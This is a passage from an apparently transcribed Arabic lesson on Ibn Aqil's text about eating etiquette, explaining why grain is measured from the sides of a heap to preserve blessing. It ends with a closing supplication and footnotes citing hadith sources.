قال رحمه الله: (وَكَذَلِكَ الكَيْلُ) ختم هذا بقوله: وَكَذَلِكَ الكَيْلُ، ما علاقة الكيل بالطعام؟ يقول: كما يأكل الناس من جوانب القصعة فكذلك إذا أرادوا أن يكيلوا طعامًا في زبرة[21] أو نحوه فإنهم يكيلون من الجوانب ولا يكيلون من الوسط فإن البركة تبقى، قال: وَكَذَلِكَ الكَيْلُ، يعني عند كيل الطعام للبيع أو لزكاة الفطر ونحو ذلك فإنه يُكال من جوانب الطعام ولا يُكال من ذروته أو وسطه قياسًا على الأكل والشرب كما نصّ عليه ابن عقيل هنا رحمه الله وذكره غير واحد كالبهوتي في كشاف القناع، وقال: للعلة الواردة في الأكل، يعني يُسن في الكيل أن يكون من الجوانب، قالوا: للعلة الواردة في الأكل يعني هي بقاء البركة، ولذا قال ابن عقيل عقبها: (فَإِنَّهُ أَدْعَى لِلْبَرَكَةِ، كَذَلِكَ رُوِيَ فِي السُّنَنِ) ويعني بذلك رحمه الله أن العلة المشار إليها ثابتة في السنن وهي البركة، إذن البركة تَحُل في هذا الطعام الذي يُكال منه من جوانبه ولو كيل من الوسط لزالت البركة كما يكون في الأكل، إذا أُكل من الجوانب حلت البركة وإذا أُكل من الوسط زالت البركة؛ فإن البركة في وسط الطعام ولهذا نقول: كُل حتى تصل، أما أن تبدأ من وسط الطعام فهذا فيه إزالة للبركة وفيه مخالفة لهدي النبي صلى الله عليه وسلم الذي أمر بالأكل مما يليك.

أسأل الله بمنه وكرمه وجوده وإحسانه أن يوفقنا جميعًا لما يُحب ويرضى، وأن يرزقنا التأدب بسنة النبي المصطفى إنه قريبٌ مجيبٌ، ولعلنا إن شاء الله تعالى في الدرس القادم نُكمل ما بقي من آداب الطعام والشراب، وبالله التوفيق وصلى الله وسلم وبارك وأكرم وأنعم على خيرة خلقه وأفضل أنبيائه ورسله نبينا محمد وعلى آله وأصحابه وأتباعه بإحسان إلى يوم الدين، والسلام عليكم ورحمة الله وبركاته…

¯¯¯


[1] أخرجه البخاري (6288)، ومسلم (2183) باختلاف يسير.

[2] أخرجه البخاري (6290) بلفظ «إذا كنتُم ثلاثةً فلا يتناجى اثنانِ دون الثالثِ حتى يختلِطوا بالناس فإنه يُحزِنُه ذلك»، ومسلم (2184) باختلاف يسير.

[3] أخرجه البخاري (5376)، ومسلم (2022).

[4]) أخرجه البخاري معلقًا (5163).

[5] أورده البخاري في صحيحه (6223) بلفظ: «إنَّ اللهَ يُحِبُّ العُطاسَ، ويَكْرَهُ التَّثاؤُبَ، فإذا عَطَسَ فَحَمِدَ اللهَ، فَحَقٌّ علَى كُلِّ مُسْلِمٍ سَمِعَهُ أنْ يُشَمِّتَهُ، وأَمَّا التَّثاؤُبُ: فإنَّما هو مِنَ الشَّيْطانِ، فَلْيَرُدَّهُ ما اسْتَطاعَ، فإذا قالَ: ها، ضَحِكَ منه الشَّيْطانُ».

[6] أخرجه الترمذي (1858) بلفظ «كانَ النَّبيُّ g يأْكلُ طعامًا في ستَّةٍ من أصحابِهِ فجاءَ أعرابيٌّ فأَكلَهُ بلُقمتينِ فقالَ رسولُ اللهِ g أما إنَّهُ لو سَمَّى لَكفاكُم»، و صححه الألباني في صحيح الترمذي (1858).

[7] أخرجه مسلمٌ في صحيحه (2017) عن حذيفة بن اليمان رَضِيَ اللهُ عَنْهُ بلفظ: «كُنَّا إذَا حَضَرْنَا مع النَّبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ طَعَامًا لَمْ نَضَعْ أَيْدِيَنَا حتَّى يَبْدَأَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فَيَضَعَ يَدَهُ، وإنَّا حَضَرْنَا معهُ مَرَّةً طَعَامًا، فَجَاءَتْ جَارِيَةٌ كَأنَّهَا تُدْفَعُ، فَذَهَبَتْ لِتَضَعَ يَدَهَا في الطَّعَامِ، فأخَذَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ بيَدِهَا، ثُمَّ جَاءَ أَعْرَابِيٌّ كَأنَّما يُدْفَعُ فأخَذَ بيَدِهِ، فَقالَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: إنَّ الشَّيْطَانَ يَسْتَحِلُّ الطَّعَامَ أَنْ لا يُذْكَرَ اسْمُ اللهِ عليه، وإنَّه جَاءَ بهذِه الجَارِيَةِ لِيَسْتَحِلَّ بهَا فأخَذْتُ بيَدِهَا، فَجَاءَ بهذا الأعْرَابِيِّ لِيَسْتَحِلَّ به فأخَذْتُ بيَدِهِ، وَالَّذِي نَفْسِي بيَدِهِ، إنَّ يَدَهُ في يَدِي مع يَدِهَا، وفي روايةٍ: كَأنَّما يُطْرَدُ، وفي الجَارِيَةِ: كَأنَّما تُطْرَدُ، وَقَدَّمَ مَجِيءَ الأعْرَابِيِّ في حَديثِهِ قَبْلَ مَجِيءِ الجَارِيَةِ. وَزَادَ في آخِرِ الحَديثِ: ثُمَّ ذَكَرَ اسْمَ اللهِ وَأَكَلَ».

[8] أخرجه الترمذي (1858)، وابن ماجه (3264)، وأحمد  (25149)بلفظ: «إذا أكَل أحَدُكم فلْيَذكُرِ اسمَ اللهِ فإنْ نَسِي أنْ يَذكُرَ اسمَ اللهِ في أولِه فلْيَقُلْ: بسمِ اللهِ أولَّه وآخِرَه» وصححه بلفظه الألباني في إرواء الغليل (1965).

[9] أخرجه مسلم (2734).

[10] أخرجه البخاري (5376)، ومسلم (2022).

[11] أخرجه مسلم (2020)، وأبو داود (3776)، والترمذي (1800)، والنسائي في «السنن الكبرى» (6745)، وأحمد (6333) واللفظ له.

[12] أخرجه مسلم في صحيحه عن سلمة بن الأكوع: «أنَّ رَجُلًا أَكَلَ عِنْدَ رَسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ بشِمَالِهِ، فَقالَ: كُلْ بيَمِينِكَ، قالَ: لا أَسْتَطِيعُ، قالَ: لا اسْتَطَعْتَ، ما مَنَعَهُ إلَّا الكِبْرُ، قالَ: فَما رَفَعَهَا إلى فِيهِ». 

[13] أخرجه البخاري (5376)، ومسلم (2022).

         [14] أخرجه البخاري في صحيحه (5379) من حديث أنس بن مالك رَضِيَ اللهُ عَنْهُ قال: «إنَّ خَيَّاطًا دَعَا رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ لِطَعَامٍ صَنَعَهُ، قالَ أنَسٌ: فَذَهَبْتُ مع رَسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، فَرَأَيْتُهُ يَتَتَبَّعُ الدُّبَّاءَ مِن حَوَالَيِ القَصْعَةِ، قالَ: فَلَمْ أزَلْ أُحِبُّ الدُّبَّاءَ مِن يَومِئِذٍ».

         [15] أخرجه البخاري (5376)، ومسلم (2022).

[16]           أخرجه البخاري معلقًا (5163).

[17]       أخرجه مسلم (2020)، وأبو داود (3776)، والترمذي (1800)، والنسائي في السنن الكبرى (6745)، وأحمد (6333).

[18] أخرجه البخاري (5458).

[19] أخرجه البخاري (5459).

[20] أخرجه الترمذي (1805)، وابن ماجه (3277) بنحوه، والنسائي في السنن الكبرى (6762) واللفظ له، وصحح إسناده ابن حجر في بلوغ المرام (314)، وصححه الألباني في صحيح الجامع (4502).

[21] زبرة: الكوم من الطعام وتأتي بمعنى القطعة.